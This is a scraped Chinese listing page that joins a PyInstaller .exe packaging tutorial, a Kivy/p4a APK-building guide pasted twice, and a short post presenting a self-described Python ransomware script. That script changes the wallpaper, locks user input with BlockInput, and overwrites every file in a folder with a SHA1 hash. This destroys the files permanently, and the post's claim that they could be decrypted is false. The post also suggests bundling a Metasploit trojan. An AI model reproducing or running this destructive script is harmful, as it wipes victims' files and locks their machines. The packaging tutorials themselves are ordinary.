精华内容
下载资源
问答
  • 在我们完成一个Python项目或一个程序时,希望将Python的py文件打包成在Windows系统下直接可以运行的exe程序。在浏览网上的资料来看,有利用pyinstaller和cx_Freeze进行打包的方法。关于cx_Freeze打包的方法,可以...

    在我们完成一个Python项目或一个程序时,希望将Python的py文件打包成在Windows系统下直接可以运行的exe程序。在浏览网上的资料来看,有利用pyinstaller和cx_Freeze进行打包的方法。关于cx_Freeze打包的方法,可以参考windows下cx_Freeze生成Python可执行程序中的方法。由于方法主要是可以用于Python3.3版本的,高于该版本的Python无法使用。在我尝试的过程中,碰到的一个问题是:

    安装cx_Freeze-4.3.3,找不到cxFreeze.bat

    解决的方法是,在cmd命令行操作下,切换至放置cx_Freeze-4.3.3文件的Python安装目录下scripts目录下,使用以下代码自动生成:

    python cxfreeze-postinstall

    由于我安装的Python版本是3.6.2版本的,版本相对较新,cx_Freeze还没有更新版本至3.6版本。在我尝试很多次数失败后,决定采用pyinstaller来进行文件打包的方法。

    下载pyinstaller

    采用命令行操作的办法

    在cmd命令行中,输入代码:

    pip install pyinstaller

    或者采用更新、升级的方法:

    pip install --upgrade pyinstaller

    采用下载文件+cmd操作的办法

    1539055535153I9055753935.jpg

    下载时,要注意你安装的Python是多少版本的,有稳定版和不稳定版的,Python3.6只有不稳定版本的。其中绿色方框的是适用于linux操作系统下的,红色方框是适用于Windows系统下的。

    进行解压缩、放置和安装

    下载后,将压缩文件解压缩在Python安装目录下,进入该文件:

    15390555351t5u390X555235.jpg

    该目录中含有setup.py,同时在cmd中进入该目录:

    15390555351i513905V55A35.jpg

    输入命令:

    python setup.py install

    并按下回车键,会看到代码迅速执行,会进行安装pyinstaller,显示如下状态,看到"Finished processing dependencies for PyInstaller==3.3.dev0+41c426f6d”,即安装成功:

    1539055536x1539W05M5Y536.jpg

    使用pyinstaller打包py文件成exe程序

    打包文件成exe程序

    将cmd的目录切换至(命令:cd 文件路径(注意空格))需要打包的py文件目录下:

    1539055536U153S90555tm36.jpg

    并输入代码,格式为使用命令:pyinstaller -F 文件名(带后缀py):

    pyinstaller -F test.py

    常用参数说明:

    –icon=图标路径

    -F 打包成一个exe文件

    -w 使用窗口,无控制台

    -c 使用控制台,无窗口

    -D 创建一个目录,里面包含exe以及其他一些依赖性文件

    pyinstaller -h 来查看参数

    回车后,代码迅速操作,直到操作结束。

    1539055536b1539b055T53T6.jpg

    返回目标文件目录,发现该目录下生成了.spec文件test.spec:

    153905553715a3y9s05P5537.jpg

    打包好的exe文件,在同目录的dist文件中:

    153905553815z39055Fg53L8.jpg

    由此,py文件打包好为exe文件。pyinstaller 改变生成exe程序的图标

    pyinstaller -F --icon=my.ico test.py

    my.ico 是一个图标名,和当前的test.py文件在同一个目录下

    以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

    展开全文
  • 我相信很多小伙伴都知道怎么Python的文件打包成exe,而且这个也非常的简单,一行代码就能轻松搞定:pyinstaller -F xxx.py 但是如果我们用Python开发一个小游戏或者一个GUI桌面应用小程序,想在手机上面运行试玩...

     

    前言

    我相信很多小伙伴都知道怎么将Python的文件打包成exe,而且这个也非常的简单,一行代码就能轻松搞定:pyinstaller -F xxx.py

    但是如果我们用Python开发一个小游戏或者一个GUI桌面应用小程序,想在手机上面运行试玩那应该怎么做呢?

    很多人学习python,不知道从何学起。
    很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
    很多已经做案例的人,却不知道如何去学习更加高深的知识。
    那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
    QQ群:101677771

    今天小编就教大家如何将Python文件打包成apk!

     

    前言

    我相信很多小伙伴都知道怎么将Python的文件打包成exe,而且这个也非常的简单,一行代码就能轻松搞定:pyinstaller -F xxx.py

    但是如果我们用Python开发一个小游戏或者一个GUI桌面应用小程序,想在手机上面运行试玩那应该怎么做呢?

    今天小编就教大家如何将Python文件打包成apk!

    隆重介绍:Kivy

    Kivy 是一个开源的 Python 框架,用于快速开发应用,实现各种当前,流行的用户界面,比如多点触摸等等。且Kivy 可以运行于 Windows, Linux,MacOS, Android, iOS 等当前绝大部分主流桌面/移动端操作系统。

     

    安装操作

    将Py文件打包成apk文件,江湖上暂有如下3个方法:

    1.通过Buildozer;(在linux环境下实现,集成式框架比较容易实现)

    2.通过python for android,(这种可以在windows下实现,但需要安装和配置许多内容,较为繁琐)

    3.通过Kivy Launcher上打包(需要用到谷歌市场,但想在我大天朝嘛....建议你选择别的)

    kivy打包的Buildozer有两种工具,分别是p4a和buildozer。kivydev64使用p4a,kivydev使用buildozer。

    buildozer其实是对p4a做了进一步封装,换汤不换药。如果你不想配置recipe和dist之类的参数,可以使用buildozer,但是每次都要复制已经打包成功的项目目录下的.buildozer到要打包的项目目录下,buildozer才不会重复下载sdk和ndk等。而.buildozer目录通常在1G以上,每个项目目录如果都复制一份,不久就会耗尽虚拟机的硬盘空间。所以推荐使用p4a,也就是kivydev64,这个打包环境也是第一个建立在64位ubuntu的环境。

     

    1.安装好环境后,打开VirtualBox,小编遇到的第一个问题就是:

     

    这个问题产生的原因是因为VirtualBox的环境不兼容,win7的话需要将其兼容性配置为Windows Server 2008进行运行;

    2. 在成功导入打开的过程中,还会遇到一个问题,会提示你usb接入错误,此时需要你安装这个文件:

    3.成功将镜像环境导入后,如果你能看到此神兽Ubantu,说明你的胜利已经在前方:

     

    4. 进入到/home/kivydev//test是测试目录,该目录下的py2apk是py27打包,py3apk是py35打包,这两个版本的差别只在于不同版本的py配置文件,在该目录下的py文件,必须使用main.py命名才能进行打包,先在该目录下对main.py进行编译,看能否成功执行:python3 main.py

    5. 可以成功编译后,接下来在py2apk或py3apk的目录下执行打包命令: p4a apk

    即可在该目录下产生apk的文件;

    6.这里仅作为测试,将该main.py生成的apk进行,在手机上的运行效果如图:

     

    三.后话

    至此,已经可以完成简单的py文件的封装了,至于py文件如何编写成适于安卓版本的,以及如何更换图标,如何再进行设置里面的内容,建议阅读官方文档进行学习

    *声明:本文于网络整理,版权归原作者所有,如来源信息有误或侵犯权益,请联系我们删除或授权事宜。

    隆重介绍:Kivy

    Kivy 是一个开源的 Python 框架,用于快速开发应用,实现各种当前,流行的用户界面,比如多点触摸等等。且Kivy 可以运行于 Windows, Linux,MacOS, Android, iOS 等当前绝大部分主流桌面/移动端操作系统。

     

    安装操作

    将Py文件打包成apk文件,江湖上暂有如下3个方法:

    1.通过Buildozer;(在linux环境下实现,集成式框架比较容易实现)

    2.通过python for android,(这种可以在windows下实现,但需要安装和配置许多内容,较为繁琐)

    3.通过Kivy Launcher上打包(需要用到谷歌市场,但想在我大天朝嘛....建议你选择别的)

    kivy打包的Buildozer有两种工具,分别是p4a和buildozer。kivydev64使用p4a,kivydev使用buildozer。

    buildozer其实是对p4a做了进一步封装,换汤不换药。如果你不想配置recipe和dist之类的参数,可以使用buildozer,但是每次都要复制已经打包成功的项目目录下的.buildozer到要打包的项目目录下,buildozer才不会重复下载sdk和ndk等。而.buildozer目录通常在1G以上,每个项目目录如果都复制一份,不久就会耗尽虚拟机的硬盘空间。所以推荐使用p4a,也就是kivydev64,这个打包环境也是第一个建立在64位ubuntu的环境。

     

    1.安装好环境后,打开VirtualBox,小编遇到的第一个问题就是:

     

    这个问题产生的原因是因为VirtualBox的环境不兼容,win7的话需要将其兼容性配置为Windows Server 2008进行运行;

    2. 在成功导入打开的过程中,还会遇到一个问题,会提示你usb接入错误,此时需要你安装这个文件:

    3.成功将镜像环境导入后,如果你能看到此神兽Ubantu,说明你的胜利已经在前方:

     

    4. 进入到/home/kivydev//test是测试目录,该目录下的py2apk是py27打包,py3apk是py35打包,这两个版本的差别只在于不同版本的py配置文件,在该目录下的py文件,必须使用main.py命名才能进行打包,先在该目录下对main.py进行编译,看能否成功执行:python3 main.py

    5. 可以成功编译后,接下来在py2apk或py3apk的目录下执行打包命令: p4a apk

    即可在该目录下产生apk的文件;

    6.这里仅作为测试,将该main.py生成的apk进行,在手机上的运行效果如图:

     

    三.后话

    至此,已经可以完成简单的py文件的封装了,至于py文件如何编写成适于安卓版本的,以及如何更换图标,如何再进行设置里面的内容,建议阅读官方文档进行学习

    展开全文
  • 今天下午上学,用python写个勒索脚本然后打包成exe是个不错的选择 我们来搞事情吧。看那学校我就不想上学。 0x01:要用到的模块,各位请自行准备 import win32api,win32con,win32guifrom ctypes import *import ...

    前言:

    今天下午上学,用python写个勒索脚本然后打包成exe是个不错的选择

    我们来搞事情吧。看那学校我就不想上学。

    0x01:
    要用到的模块,各位请自行准备

    import win32api,win32con,win32gui
    from ctypes import *
    import hashlib
    import os
    import time



    万事俱备,只欠东风。
    0x01:代码
    import win32api,win32con,win32gui
    from ctypes import *
    import hashlib
    import os
    import time
    #换背景 def sd(bmp): k=win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,"Control panel\\Desktop",0,win32con.KEY_SET_VALUE) win32api.RegSetValueEx(k,"Wa;;paperStyle",0,win32con.REG_SZ,"0") win32api.RegSetValueEx(k,"TileWallpaper",0,win32con.REG_SZ,"0") win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER,bmp,1+2) sd('1.jpg') #锁定输入 def cyes(): user32 = windll.LoadLibrary('user32.dll') user32.BlockInput(True) time.sleep(10) cyes() #批量读取文件并加密 def jiami(file): path=os.path.expanduser(file) for f in os.listdir(path): swd=f.strip() print(f.strip()) with open(file+"/"+swd,'rb+') as w: pod=w.readline() sha1=hashlib.sha1(pod) osv=sha1.hexdigest() with open(file+"/"+swd,'wb') as b: gs=bytes(osv,encoding='utf-8') b.write(gs) print('[+]加密完成') jiami('E:\PyCharm 2017.2.4\cx')

    测试效果如下

     

    使用sha1算法加密,你其实还可以自己写个解密脚本。

    后续其实可以加一个msf生成的马子

     

    大牛勿喷,谢谢合作。

     

    转载于:https://www.cnblogs.com/haq5201314/p/8468973.html

    展开全文
  • 传统我们写python代码和运行都是用pycharm,sublimeText等软件完成的,那么如果一个代码需要运行多次,怎么才能让py文件快速运行,像window的exe一样双击执行呢,这里提供两种方法,一种是利用bat文件进行批处理运行...

    传统我们写python代码和运行都是用pycharm,sublimeText等软件完成的,那么如果一个代码需要运行多次,怎么才能让py文件快速运行,像window的exe一样双击执行呢,这里提供两种方法,一种是利用bat文件进行批处理运行,另一种是运用pyinstaller将py文件打包成exe程序

     批处理运行

    前提是python已经设置了环境变量

    打开记事本输入以下内容,e:为py文件存储盘,程序文件为目录,等同于e:/程序文件/main.py同一个位置可直接写文件名

    e:
    cd 程序文件
    python main.py

    保存文件格式为bat格式

     

    生成exe文件

                导包

    pip install pyinstaller

    将py文件打包成exe -F 参数表示生成单个exe文件

    pyinstaller -F xxx.py

    打包时会创建dist等目录,exe存放文件为dist

    个人更推荐后者,生成exe后可在没有安装python的电脑上运行,增加软件通用性

     

     

    展开全文
  • 自然是用pyinstaller打包成32位版的exe发布了,带上程序图标,版本信息,都不是事儿  游戏核心模拟方面: 当然不是通过手敲代码实现了,而是通过调用目前市场上强大的dll插件了。比如com组件如大漠插件、乐玩插件。...
  • 点评:大多以tar.gz 和tar.bz2打包软件,大多是通过 ./configure ;make ;make install 来安装的;有的软件是直接make;make install ; 我们可以通过./configure --help 来查看配置软件的功能;大多软件是提供./...
  • 因为还不怎么用,所以以后再说吧。。。 Scipy Doc 杂文汇集 Python读取文件以及读取大文件 gensim之Word2vec使用 心得:多动手,别只看 机器学习及深度学习篇 机器学习网站及教程 机器学习入门教程与...
  • pc端与安卓端相对简单,苹果端的修改、发布与打包成了多数开发者的一个主要问题。下面就说说这个苹果打包的基本过程。 一、环境准备 macos电脑一台,安装xcodes开发工作,同时安装证书服务器与相关软件环境。 ...
  • golang怎么代码优化 golang隐藏技能:怎么访问私有成员 问题排查 trace pprof 源码阅读 sync.map net/http i/o timeout , 希望你不要踩到这个net/http包的坑 mutex channel context select实现原理 ...

空空如也

空空如也

1 2
收藏数 29
精华内容 11
关键字:

python代码怎么打包成软件

python 订阅